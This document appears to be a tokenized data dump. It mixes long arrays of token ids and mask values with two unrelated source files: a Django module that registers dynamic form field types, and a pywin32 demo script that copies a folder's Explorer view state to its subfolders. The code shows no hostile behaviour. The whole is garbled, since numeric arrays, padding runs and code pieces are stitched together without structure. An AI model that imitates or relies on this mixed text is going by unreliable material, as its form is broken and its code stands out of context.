1696,
1684,
844,
199,
3,
3180,
543,
12235,
27,
340,
440,
12,
2218,
370,
314,
2868,
2290,
2752,
12,
3277,
2020,
199,
3,
8155,
15630,
10902,
12,
14453,
13540,
12,
8226,
12,
4828,
15673,
13,
13421,
12,
8217,
14,
199,
199,
624,
5926,
2209,
2104,
706,
1041,
199,
199,
504,
13640,
14,
1095,
14,
73,
1085,
78,
492,
485,
199,
504,
13640,
14,
3112,
14,
1733,
14,
992,
492,
664,
63,
21923,
63,
1712,
199,
504,
13640,
14,
1208,
14,
3351,
492,
12235,
1563,
2821,
199,
199,
504,
24756,
3351,
492,
26401,
792,
12,
9496,
792,
12,
21409,
421,
199,
533,
18003,
2821,
8,
607,
7597,
1563,
2821,
304,
339,
408,
25023,
89,
1824,
1041,
339,
1305,
275,
26401,
792,
342,
272,
536,
275,
21409,
6723,
985,
1333,
272,
1592,
1131,
275,
21409,
6723,
3227,
1333,
421,
199,
318,
6266,
6011,
2821,
8,
3671,
63,
513,
63,
2809,
12,
1338,
304,
272,
408,
18483,
1824,
1041,
272,
1021,
485,
3188,
6011,
2821,
8,
607,
7597,
1563,
2821,
304,
267,
3245,
63,
344,
275,
26401,
792,
342,
339,
367,
334,
4159,
12,
6339,
63,
2809,
9,
315,
2637,
63,
513,
63,
2809,
26,
267,
5371,
1547,
3188,
6011,
2821,
12,
6339,
12,
355,
21409,
27594,
4159,
63,
2809,
395,
1169,
849,
29,
1459,
14,
362,
8,
4159,
12,
4074,
430,
339,
372,
485,
3188,
6011,
2821,
421,
199,
533,
10977,
279,
3532,
2821,
8,
607,
7597,
1563,
2821,
304,
339,
408,
26708,
5689,
1824,
1041,
339,
1305,
275,
26401,
792,
342,
272,
2963,
1636,
275,
9496,
792,
8,
85,
7,
5446,
15483,
297,
664,
63,
21923,
63,
1712,
1012,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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 import unicode_literals
import copy
import re
from importlib import import_module
from django import forms
from django.utils import six
from django.utils.decorators import classonlymethod
from django.utils.encoding import python_2_unicode_compatible
from django.utils.translation import ugettext_lazy as _
def format_display_label(cls_name):
if cls_name.endswith('Field'):
cls_name = cls_name[:-5] # Strip trailing 'Field'
# Precedes each group of capital letters by a whitespace except first
return re.sub(r'([A-Z]+)', r' \1', cls_name).lstrip()
def load_class_from_string(cls_string):
mod, cls = cls_string.rsplit('.', 1)
module = import_module(mod)
return getattr(module, cls)
class DynamicFormFieldRegistry(object):
def __init__(self):
self._fields = {}
def get(self, key):
return self._fields.get(key)
def get_as_choices(self):
for k, c in sorted(six.iteritems(self._fields)):
yield k, c.get_display_label()
def register(self, cls):
if not issubclass(cls, BaseDynamicFormField):
raise ValueError('%r must inherit from %r' % (
cls, BaseDynamicFormField))
key = '%s.%s' % (cls.__module__, cls.__name__)
self._fields[key] = cls
def unregister(self, key):
if key in self._fields:
del self._fields[key]
formfield_registry = DynamicFormFieldRegistry()
dynamic_form_field_registry = formfield_registry
def dynamic_form_field(cls):
"""
A class decorator to register the class as a dynamic form field in the
:class:`DynamicFormFieldRegistry`.
"""
formfield_registry.register(cls)
return cls
class DFFMetaclass(type):
def __new__(cls, name, bases, attrs):
meta = attrs.pop('Meta', None)
new_class = super(DFFMetaclass, cls).__new__(cls, name, bases, attrs)
opts = {}
super_opts = getattr(new_class, '_meta', {})
if meta:
excludes = getattr(meta, '_exclude', ())
# Copy all attributes from super's options not excluded here. No
# need to check for leading _ as this is already sorted out on the
# super class
for k, v in six.iteritems(super_opts):
if k in excludes:
continue
opts[k] = v
# Copy all attributes not starting with a '_' from this Meta class
for k, v in six.iteritems(meta.__dict__):
if k.startswith('_') or k in excludes:
continue
opts[k] = v
else:
opts = copy.deepcopy(super_opts)
setattr(new_class, '_meta', opts)
return new_class
@python_2_unicode_compatible
class BaseDynamicFormField(six.with_metaclass(DFFMetaclass)):
cls = None
display_label = None
widget = None
class Meta:
help_text = [six.string_types, '', (forms.CharField, forms.Textarea)]
required = [bool, True, forms.NullBooleanField]
def __new__(cls, *args, **kwargs):
self = super(BaseDynamicFormField, cls).__new__(cls)
self._meta = copy.deepcopy(self.__class__._meta)
return self
def __init__(self, name, label, widget_attrs=None, **kwargs):
self.name = name
self.label = label
self.widget_attrs = widget_attrs or {}
self.set_options(**kwargs)
def __str__(self):
if isinstance(self.cls, six.string_types):
clsname = self.cls
else:
clsname = '%s.%s' % (self.cls.__module__, self.cls.__name__)
return '<%(class)s, name=%(name)s, label=%(label)s>' % {
'class': clsname,
'name': self.name,
'label': self.label,
}
def construct(self, **kwargs):
if isinstance(self.cls, six.string_types):
cls_type = load_class_from_string(self.cls)
else:
cls_type = self.cls
f_kwargs = {}
for key, val in six.iteritems(self.options):
f_kwargs[key] = val[1]
f_kwargs['label'] = self.label
if self.widget is not None:
if isinstance(self.widget, six.string_types):
widget_type = load_class_from_string(self.widget)
else:
widget_type = self.widget
f_kwargs['widget'] = widget_type(**self.get_widget_attrs())
f_kwargs.update(kwargs) # Update the field kwargs by those given
return cls_type(**f_kwargs)
def contribute_to_form(self, form):
form.fields[self.name] = self.construct()
@classonlymethod
def get_display_label(cls):
if cls.display_label:
return cls.display_label
return format_display_label(cls.__name__)
@property
def options(self):
return self._meta
def get_widget_attrs(self):
return self.widget_attrs
def set_options(self, **kwargs):
for key, value in six.iteritems(kwargs):
if key not in self.options:
raise KeyError('%s is not a valid option.' % key)
expected_type = self.options[key][0]
if not isinstance(value, expected_type) and value is not None:
raise TypeError('Neither of type %r nor None' % expected_type)
self.options[key][1] = value
self.options_valid()
def options_valid(self):
return True
@classonlymethod
def do_display_data(cls):
return True
@dynamic_form_field
class BooleanField(BaseDynamicFormField):
cls = 'django.forms.BooleanField'
display_label = _('Boolean')
@dynamic_form_field
class ChoiceField(BaseDynamicFormField):
cls = 'django.forms.ChoiceField'
display_label = _('Choices')
class Meta:
choices = [six.string_types, '', (forms.CharField, forms.Textarea)]
def construct(self, **kwargs):
value = self.options.get('choices')[1]
choices = [(row, row) for row in value.splitlines() if row]
return super(ChoiceField, self).construct(choices=choices)
def options_valid(self):
if not self.options['choices'] or not self.options['choices'][1]:
raise ValueError('choices must not be defined for %r' % self)
return True
@dynamic_form_field
class DateField(BaseDynamicFormField):
cls = 'django.forms.DateField'
display_label = _('Date')
class Meta:
localize = [bool, True, forms.NullBooleanField]
@dynamic_form_field
class DateTimeField(BaseDynamicFormField):
cls = 'django.forms.DateTimeField'
display_label = _('Date and Time')
class Meta:
localize = [bool, True, forms.NullBooleanField]
@dynamic_form_field
class EmailField(BaseDynamicFormField):
cls = 'django.forms.EmailField'
display_label = _('Email')
@dynamic_form_field
class IntegerField(BaseDynamicFormField):
cls = 'django.forms.IntegerField'
display_label = _('Integer')
class Meta:
localize = [bool, True, forms.NullBooleanField]
max_value = [int, None, forms.IntegerField]
min_value = [int, None, forms.IntegerField]
@dynamic_form_field
class MultiLineTextField(BaseDynamicFormField):
cls = 'django.forms.CharField'
display_label = _('Multi Line Text')
widget = 'django.forms.widgets.Textarea'
@dynamic_form_field
class SingleLineTextField(BaseDynamicFormField):
cls = 'django.forms.CharField'
display_label = _('Single Line Text')
class Meta:
max_length = [int, None, forms.IntegerField]
min_length = [int, None, forms.IntegerField]
@dynamic_form_field
class TimeField(BaseDynamicFormField):
cls = 'django.forms.TimeField'
display_label = _('Time')
class Meta:
localize = [bool, True, forms.NullBooleanField]
|
bsd-3-clause
|
[
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
504,
636,
2443,
363,
492,
2649,
63,
5955,
199,
199,
646,
1331,
199,
646,
295,
199,
504,
14802,
492,
492,
63,
578,
199,
199,
504,
1639,
492,
4513,
199,
504,
1639,
14,
1208,
492,
3816,
199,
504,
1639,
14,
1208,
14,
11582,
492,
1021,
2118,
765,
199,
504,
1639,
14,
1208,
14,
2991,
492,
2366,
63,
18,
63,
2975,
63,
6490,
199,
504,
1639,
14,
1208,
14,
6893,
492,
10366,
63,
6395,
465,
485,
421,
199,
318,
1475,
63,
2918,
63,
1302,
8,
1886,
63,
354,
304,
272,
340,
843,
63,
354,
14,
4130,
360,
792,
735,
267,
843,
63,
354,
275,
843,
63,
354,
4439,
21,
61,
221,
327,
19828,
8520,
283,
792,
7,
339,
327,
5543,
301,
3424,
1924,
1572,
402,
17094,
14435,
701,
282,
8139,
871,
1642,
272,
372,
295,
14,
954,
8,
82,
21731,
33,
13,
58,
28798,
519,
7,
971,
17,
297,
843,
63,
354,
680,
10124,
342,
421,
199,
318,
2248,
63,
533,
63,
504,
63,
875,
8,
1886,
63,
875,
304,
272,
3413,
12,
843,
275,
843,
63,
875,
14,
13490,
14078,
413,
9,
272,
859,
275,
492,
63,
578,
8,
1494,
9,
272,
372,
2519,
8,
578,
12,
843,
9,
421,
199,
533,
21907,
2821,
792,
10899,
8,
785,
304,
339,
347,
636,
826,
721,
277,
304,
267,
291,
423,
955,
275,
1052,
339,
347,
664,
8,
277,
12,
790,
304,
267,
372,
291,
423,
955,
14,
362,
8,
498,
9,
339,
347,
664,
63,
305,
63,
4577,
8,
277,
304,
267,
367,
1022,
12,
286,
315,
3355,
8,
4174,
14,
4611,
8,
277,
423,
955,
2298,
288,
1995,
1022,
12,
286,
14,
362,
63,
2918,
63,
1302,
342,
339,
347,
2274,
8,
277,
12,
843,
304,
267,
340,
440,
11602,
8,
1886,
12,
3523,
14451,
2821,
792,
304,
288,
746,
1722,
3508,
82,
1471,
8287,
687,
450,
82,
7,
450,
334,
355,
843,
12,
3523,
14451,
2821,
792,
430,
267,
790,
275,
1543,
83,
4111,
83,
7,
450,
334,
1886,
855,
578,
3108,
843,
855,
354,
3368,
267,
291,
423,
955,
59,
498,
61,
275,
843,
339,
347,
24369,
8,
277,
12,
790,
304,
267,
340,
790,
315,
291,
423,
955,
26,
288,
2150,
291,
423,
955,
59,
498,
61,
421,
199,
20015,
63,
5189,
275,
21907,
2821,
792,
10899,
342,
199,
7764,
63,
964,
63,
698,
63,
5189,
275,
21388,
63,
5189,
421,
199,
318,
8336,
63,
964,
63,
698,
8,
1886,
304,
272,
408,
272,
437,
1021,
7531,
370,
2274,
314,
1021,
465,
282,
8336,
1824,
901,
315,
314,
272,
520,
533,
1705,
14451,
2821,
792,
10899,
2313,
272,
408,
272,
21388,
63,
5189,
14,
2683,
8,
1886,
9,
272,
372,
843,
421,
199,
533,
577,
1665,
29387,
8,
466,
304,
339,
347,
636,
1222,
721,
1886,
12,
536,
12,
9768,
12,
3290,
304,
267,
3404,
275,
3290,
14,
1935,
360,
3396,
297,
488,
9,
398,
892,
63,
533,
275,
1613,
8,
36,
1665,
29387,
12,
843,
2843,
1222,
721,
1886,
12,
536,
12,
9768,
12,
3290,
9,
398,
3999,
275,
1052,
267,
1613,
63,
3291,
275,
2519,
8,
1222,
63,
533,
12,
2513,
2024,
297,
5009,
267,
340,
3404,
26,
288,
23388,
275,
2519,
8,
2024,
12,
2513,
5473,
297,
14515,
288,
327,
11247,
1006,
3004,
687,
1613,
1159,
1511,
440,
8789,
2348,
14,
3091,
288,
327,
1929,
370,
1104,
367,
9186,
485,
465,
642,
365,
2575,
3355,
734,
641,
314,
288,
327,
1613,
1021,
288,
367,
1022,
12,
373,
315,
3816,
14,
4611,
8,
4792,
63,
3291,
304,
355,
340,
1022,
315,
23388,
26,
490,
1980,
355,
3999,
59,
75,
61,
275,
373,
288,
327,
11247,
1006,
3004,
440,
6617,
543,
282,
14135,
687,
642,
6288,
1021,
288,
367,
1022,
12,
373,
315,
3816,
14,
4611,
8,
2024,
855,
807,
18580,
355,
340,
1022,
14,
2460,
26341,
503,
1022,
315,
23388,
26,
490,
1980,
355,
3999,
59,
75,
61,
275,
373,
267,
587,
26,
288,
3999,
275,
1331,
14,
8293,
8,
4792,
63,
3291,
9,
267,
5371,
8,
1222,
63,
533,
12,
2513,
2024,
297,
3999,
9,
267,
372,
892,
63,
533,
421,
199,
32,
1548,
63,
18,
63,
2975,
63,
6490,
199,
533,
3523,
14451,
2821,
792,
8,
4174,
14,
1045,
63,
6577,
8,
36,
1665,
29387,
2298,
339,
843,
275,
488,
272,
2929,
63,
1302,
275,
488,
272,
3938,
275,
488,
339,
1021,
6288,
26,
267,
1720,
63,
505,
275,
359,
4174,
14,
875,
63,
1313,
12,
3260,
334,
3351,
14,
2183,
12,
4513,
14,
1872,
6789,
1874,
267,
1415,
275,
359,
2245,
12,
715,
12,
4513,
14,
29068,
61,
339,
347,
636,
1222,
721,
1886,
12,
627,
589,
12,
1011,
958,
304,
267,
291,
275,
1613,
8,
1563,
14451,
2821,
792,
12,
843,
2843,
1222,
721,
1886,
9,
267,
291,
423,
2024,
275,
1331,
14,
8293,
8,
277,
855,
533,
363,
423,
2024,
9,
267,
372,
291,
339,
347,
636,
826,
721,
277,
12,
536,
12,
1768,
12,
3938,
63,
3288,
29,
403,
12,
1011,
958,
304,
267,
291,
14,
354,
275,
536,
267,
291,
14,
1302,
275,
1768,
267,
291,
14,
3440,
63,
3288,
275,
3938,
63,
3288,
503,
1052,
267,
291,
14,
409,
63,
1419,
3682,
958,
9,
339,
347,
636,
495,
721,
277,
304,
267,
340,
1228,
8,
277,
14,
1886,
12,
3816,
14,
875,
63,
1313,
304,
288,
843,
354,
275,
291,
14,
1886,
267,
587,
26,
288,
843,
354,
275,
1543,
83,
4111,
83,
7,
450,
334,
277,
14,
1886,
855,
578,
3108,
291,
14,
1886,
855,
354,
3368,
267,
372,
2650,
2840,
533,
9,
83,
12,
536,
15438,
354,
9,
83,
12,
1768,
15438,
1302,
9,
83,
3524,
450,
469,
288,
283,
533,
356,
843,
354,
12,
288,
283,
354,
356,
291,
14,
354,
12,
288,
283,
1302,
356,
291,
14,
1302,
12,
267,
789,
339,
347,
6982,
8,
277,
12,
1011,
958,
304,
267,
340,
1228,
8,
277,
14,
1886,
12,
3816,
14,
875,
63,
1313,
304,
288,
843,
63,
466,
275,
2248,
63,
533,
63,
504,
63,
875,
8,
277,
14,
1886,
9,
267,
587,
26,
288,
843,
63,
466,
275,
291,
14,
1886,
398,
289,
63,
958,
275,
1052,
267
] |
[
1882,
2803,
26,
2774,
13,
24,
1882,
199,
504,
636,
2443,
363,
492,
2649,
63,
5955,
199,
199,
646,
1331,
199,
646,
295,
199,
504,
14802,
492,
492,
63,
578,
199,
199,
504,
1639,
492,
4513,
199,
504,
1639,
14,
1208,
492,
3816,
199,
504,
1639,
14,
1208,
14,
11582,
492,
1021,
2118,
765,
199,
504,
1639,
14,
1208,
14,
2991,
492,
2366,
63,
18,
63,
2975,
63,
6490,
199,
504,
1639,
14,
1208,
14,
6893,
492,
10366,
63,
6395,
465,
485,
421,
199,
318,
1475,
63,
2918,
63,
1302,
8,
1886,
63,
354,
304,
272,
340,
843,
63,
354,
14,
4130,
360,
792,
735,
267,
843,
63,
354,
275,
843,
63,
354,
4439,
21,
61,
221,
327,
19828,
8520,
283,
792,
7,
339,
327,
5543,
301,
3424,
1924,
1572,
402,
17094,
14435,
701,
282,
8139,
871,
1642,
272,
372,
295,
14,
954,
8,
82,
21731,
33,
13,
58,
28798,
519,
7,
971,
17,
297,
843,
63,
354,
680,
10124,
342,
421,
199,
318,
2248,
63,
533,
63,
504,
63,
875,
8,
1886,
63,
875,
304,
272,
3413,
12,
843,
275,
843,
63,
875,
14,
13490,
14078,
413,
9,
272,
859,
275,
492,
63,
578,
8,
1494,
9,
272,
372,
2519,
8,
578,
12,
843,
9,
421,
199,
533,
21907,
2821,
792,
10899,
8,
785,
304,
339,
347,
636,
826,
721,
277,
304,
267,
291,
423,
955,
275,
1052,
339,
347,
664,
8,
277,
12,
790,
304,
267,
372,
291,
423,
955,
14,
362,
8,
498,
9,
339,
347,
664,
63,
305,
63,
4577,
8,
277,
304,
267,
367,
1022,
12,
286,
315,
3355,
8,
4174,
14,
4611,
8,
277,
423,
955,
2298,
288,
1995,
1022,
12,
286,
14,
362,
63,
2918,
63,
1302,
342,
339,
347,
2274,
8,
277,
12,
843,
304,
267,
340,
440,
11602,
8,
1886,
12,
3523,
14451,
2821,
792,
304,
288,
746,
1722,
3508,
82,
1471,
8287,
687,
450,
82,
7,
450,
334,
355,
843,
12,
3523,
14451,
2821,
792,
430,
267,
790,
275,
1543,
83,
4111,
83,
7,
450,
334,
1886,
855,
578,
3108,
843,
855,
354,
3368,
267,
291,
423,
955,
59,
498,
61,
275,
843,
339,
347,
24369,
8,
277,
12,
790,
304,
267,
340,
790,
315,
291,
423,
955,
26,
288,
2150,
291,
423,
955,
59,
498,
61,
421,
199,
20015,
63,
5189,
275,
21907,
2821,
792,
10899,
342,
199,
7764,
63,
964,
63,
698,
63,
5189,
275,
21388,
63,
5189,
421,
199,
318,
8336,
63,
964,
63,
698,
8,
1886,
304,
272,
408,
272,
437,
1021,
7531,
370,
2274,
314,
1021,
465,
282,
8336,
1824,
901,
315,
314,
272,
520,
533,
1705,
14451,
2821,
792,
10899,
2313,
272,
408,
272,
21388,
63,
5189,
14,
2683,
8,
1886,
9,
272,
372,
843,
421,
199,
533,
577,
1665,
29387,
8,
466,
304,
339,
347,
636,
1222,
721,
1886,
12,
536,
12,
9768,
12,
3290,
304,
267,
3404,
275,
3290,
14,
1935,
360,
3396,
297,
488,
9,
398,
892,
63,
533,
275,
1613,
8,
36,
1665,
29387,
12,
843,
2843,
1222,
721,
1886,
12,
536,
12,
9768,
12,
3290,
9,
398,
3999,
275,
1052,
267,
1613,
63,
3291,
275,
2519,
8,
1222,
63,
533,
12,
2513,
2024,
297,
5009,
267,
340,
3404,
26,
288,
23388,
275,
2519,
8,
2024,
12,
2513,
5473,
297,
14515,
288,
327,
11247,
1006,
3004,
687,
1613,
1159,
1511,
440,
8789,
2348,
14,
3091,
288,
327,
1929,
370,
1104,
367,
9186,
485,
465,
642,
365,
2575,
3355,
734,
641,
314,
288,
327,
1613,
1021,
288,
367,
1022,
12,
373,
315,
3816,
14,
4611,
8,
4792,
63,
3291,
304,
355,
340,
1022,
315,
23388,
26,
490,
1980,
355,
3999,
59,
75,
61,
275,
373,
288,
327,
11247,
1006,
3004,
440,
6617,
543,
282,
14135,
687,
642,
6288,
1021,
288,
367,
1022,
12,
373,
315,
3816,
14,
4611,
8,
2024,
855,
807,
18580,
355,
340,
1022,
14,
2460,
26341,
503,
1022,
315,
23388,
26,
490,
1980,
355,
3999,
59,
75,
61,
275,
373,
267,
587,
26,
288,
3999,
275,
1331,
14,
8293,
8,
4792,
63,
3291,
9,
267,
5371,
8,
1222,
63,
533,
12,
2513,
2024,
297,
3999,
9,
267,
372,
892,
63,
533,
421,
199,
32,
1548,
63,
18,
63,
2975,
63,
6490,
199,
533,
3523,
14451,
2821,
792,
8,
4174,
14,
1045,
63,
6577,
8,
36,
1665,
29387,
2298,
339,
843,
275,
488,
272,
2929,
63,
1302,
275,
488,
272,
3938,
275,
488,
339,
1021,
6288,
26,
267,
1720,
63,
505,
275,
359,
4174,
14,
875,
63,
1313,
12,
3260,
334,
3351,
14,
2183,
12,
4513,
14,
1872,
6789,
1874,
267,
1415,
275,
359,
2245,
12,
715,
12,
4513,
14,
29068,
61,
339,
347,
636,
1222,
721,
1886,
12,
627,
589,
12,
1011,
958,
304,
267,
291,
275,
1613,
8,
1563,
14451,
2821,
792,
12,
843,
2843,
1222,
721,
1886,
9,
267,
291,
423,
2024,
275,
1331,
14,
8293,
8,
277,
855,
533,
363,
423,
2024,
9,
267,
372,
291,
339,
347,
636,
826,
721,
277,
12,
536,
12,
1768,
12,
3938,
63,
3288,
29,
403,
12,
1011,
958,
304,
267,
291,
14,
354,
275,
536,
267,
291,
14,
1302,
275,
1768,
267,
291,
14,
3440,
63,
3288,
275,
3938,
63,
3288,
503,
1052,
267,
291,
14,
409,
63,
1419,
3682,
958,
9,
339,
347,
636,
495,
721,
277,
304,
267,
340,
1228,
8,
277,
14,
1886,
12,
3816,
14,
875,
63,
1313,
304,
288,
843,
354,
275,
291,
14,
1886,
267,
587,
26,
288,
843,
354,
275,
1543,
83,
4111,
83,
7,
450,
334,
277,
14,
1886,
855,
578,
3108,
291,
14,
1886,
855,
354,
3368,
267,
372,
2650,
2840,
533,
9,
83,
12,
536,
15438,
354,
9,
83,
12,
1768,
15438,
1302,
9,
83,
3524,
450,
469,
288,
283,
533,
356,
843,
354,
12,
288,
283,
354,
356,
291,
14,
354,
12,
288,
283,
1302,
356,
291,
14,
1302,
12,
267,
789,
339,
347,
6982,
8,
277,
12,
1011,
958,
304,
267,
340,
1228,
8,
277,
14,
1886,
12,
3816,
14,
875,
63,
1313,
304,
288,
843,
63,
466,
275,
2248,
63,
533,
63,
504,
63,
875,
8,
277,
14,
1886,
9,
267,
587,
26,
288,
843,
63,
466,
275,
291,
14,
1886,
398,
289,
63,
958,
275,
1052,
267,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
abaditsegay/arangodb
|
3rdParty/V8-4.3.61/third_party/python_26/Lib/site-packages/win32comext/shell/demos/viewstate.py
|
37
|
1821
|
"""
Demonstrates how to propagate a folder's view state to all its subfolders
The format of the ColInfo stream is apparently undocumented, but
it can be read raw from one folder and copied to another's view state.
"""
from win32com.shell import shell, shellcon
import pythoncom
import os, sys
template_folder=os.path.split(sys.executable)[0]
print 'Template folder:', template_folder
template_pidl=shell.SHILCreateFromPath(template_folder,0)[0]
template_pb=shell.SHGetViewStatePropertyBag(template_pidl, "Shell", shellcon.SHGVSPB_FOLDERNODEFAULTS, pythoncom.IID_IPropertyBag)
# Column info has to be read as a stream
# This may blow up if folder has never been opened in Explorer and has no ColInfo yet
template_iunk=template_pb.Read('ColInfo',pythoncom.VT_UNKNOWN)
template_stream=template_iunk.QueryInterface(pythoncom.IID_IStream)
streamsize=template_stream.Stat()[2]
template_colinfo=template_stream.Read(streamsize)
def update_colinfo(not_used, dir_name, fnames):
for fname in fnames:
full_fname=os.path.join(dir_name,fname)
if os.path.isdir(full_fname):
print full_fname
pidl=shell.SHILCreateFromPath(full_fname,0)[0]
pb=shell.SHGetViewStatePropertyBag(pidl, "Shell", shellcon.SHGVSPB_FOLDERNODEFAULTS, pythoncom.IID_IPropertyBag)
## not all folders already have column info, and we're replacing it anyway
pb.Write('ColInfo', template_stream)
iunk=pb.Read('ColInfo',pythoncom.VT_UNKNOWN)
s=iunk.QueryInterface(pythoncom.IID_IStream)
s.Write(template_colinfo)
s=None
## attribute names read from registry, can't find any way to enumerate IPropertyBag
for attr in ('Address','Buttons','Col','Vid','WFlags','FFlags','Sort','SortDir','ShowCmd','FolderType','Mode','Rev'):
pb.Write(attr, template_pb.Read(attr))
pb=None
os.path.walk(template_folder,update_colinfo,None)
|
apache-2.0
|
[
624,
199,
872,
2106,
31216,
4212,
370,
19843,
282,
4922,
1159,
2455,
1174,
370,
1006,
2399,
1007,
15171,
199,
1918,
1475,
402,
314,
3626,
2354,
2547,
365,
27241,
590,
625,
29383,
12,
1325,
199,
390,
883,
